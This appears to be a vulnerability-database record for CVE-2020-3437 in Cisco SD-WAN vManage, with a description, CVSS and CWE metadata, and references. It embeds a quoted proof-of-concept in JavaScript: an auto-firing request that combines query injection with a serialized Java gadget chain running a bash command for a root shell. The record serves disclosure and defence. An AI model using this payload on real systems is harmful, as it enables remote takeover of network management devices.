Vulnerability-Lookup

VAR-202007-1036

Vulnerability from variot - Updated: 2023-12-18 12:27

A vulnerability in the web-based management interface of Cisco SD-WAN vManage Software could allow an authenticated, remote attacker to read arbitrary files on the underlying filesystem of the device. The vulnerability is due to insufficient file scope limiting. An attacker could exploit this vulnerability by creating a specific file reference on the filesystem and then accessing it through the web-based management interface. A successful exploit could allow the attacker to read arbitrary files from the filesystem of the underlying operating system. Cisco SD-WAN vManage The software contains a link interpretation vulnerability.Information may be obtained. Cisco SD-WAN vManage 19.2.2 Remote Root Shell PoC

/* This PoC exploits CVE-2020–3387 through CVE-2020–3437 */ function exploit() { var payload = new Image(1,1); payload.src = 'https:///dataservice/device/counters?deviceId=-1%27%20return%200%20as%20%60system-ip%60%20Union%20Match(s)%20set%20s%2esamlMessage%3d%22aced00057372002e6a617661782e6d616e6167656d656e742e42616441747472696275746556616c7565457870457863657074696f6ed4e7daab632d46400200014c000376616c7400124c6a6176612f6c616e672f4f626a6563743b787200136a6176612e6c616e672e457863657074696f6ed0fd1f3e1a3b1cc4020000787200136a6176612e6c616e672e5468726f7761626c65d5c635273977b8cb0300044c000563617573657400154c6a6176612f6c616e672f5468726f7761626c653b4c000d64657461696c4d6573736167657400124c6a6176612f6c616e672f537472696e673b5b000a737461636b547261636574001e5b4c6a6176612f6c616e672f537461636b5472616365456c656d656e743b4c001473757070726573736564457863657074696f6e737400104c6a6176612f7574696c2f4c6973743b787071007e0008707572001e5b4c6a6176612e6c616e672e537461636b5472616365456c656d656e743b02462a3c3cfd22390200007870000000037372001b6a6176612e6c616e672e537461636b5472616365456c656d656e746109c59a2636dd85020008420006666f726d617449000a6c696e654e756d6265724c000f636c6173734c6f616465724e616d6571007e00054c000e6465636c6172696e67436c61737371007e00054c000866696c654e616d6571007e00054c000a6d6574686f644e616d6571007e00054c000a6d6f64756c654e616d6571007e00054c000d6d6f64756c6556657273696f6e71007e00057870010000004a74000361707074002679736f73657269616c2e7061796c6f6164732e436f6d6d6f6e73436f6c6c656374696f6e7335740018436f6d6d6f6e73436f6c6c656374696f6e73352e6a6176617400096765744f626a65637470707371007e000b010000002c71007e000d71007e000e71007e000f71007e001070707371007e000b010000003171007e000d74001979736f73657269616c2e47656e65726174655061796c6f616474001447656e65726174655061796c6f61642e6a6176617400046d61696e70707372001f6a6176612e7574696c2e436f6c6c656374696f6e7324456d7074794c6973747ab817b43ca79ede020000787078737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b657971007e00014c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00017870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d6571007e00055b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e002f00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e002f7371007e00287571007e002c00000002707571007e002c00000000740006696e766f6b657571007e002f00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e002c7371007e00287571007e002c00000001757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b470200007870000000037400092f62696e2f626173687400032d63707401a16563686f202d6e6520276332563049475675646d6c79623235745a5735304946565452564939636d39766441706b5a575a70626d5567636d397664416f674943426d615735706332674b494341676332563049435279595867394d416f674943426a62323530615735315a51706c626d514b596e4a6c59577367 document.body.appendChild(payload); } window.onload = function() { setInterval(exploit, 1); }

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CVE-2020-3437 (GCVE-0-2020-3437)

Vulnerability from cvelistv5 – Published: 2020-07-16 17:22 – Updated: 2024-11-13 18:19

Title

Cisco SD-WAN vManage Software Information Disclosure Vulnerability

Summary

Severity

6.5 (Medium)


                        
                          CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

SSVC

Exploitation: none Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2024-11-13 17:25 UTC

CWE

CWE-59

Assigner

cisco

References

2 references

URL	Tags
https://tools.cisco.com/security/center/content/C…	vendor-advisoryx_refsource_CISCO
http://packetstormsecurity.com/files/162958/Cisco…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
Cisco	Cisco SD-WAN vManage	Affected: n/a

Date Public

2020-07-15 00:00

Show details on NVD website

JSON

To clipboard

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Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.

Action not permitted

VAR-202007-1036

CVE-2020-3437 (GCVE-0-2020-3437)

Tags

Sightings

Nomenclature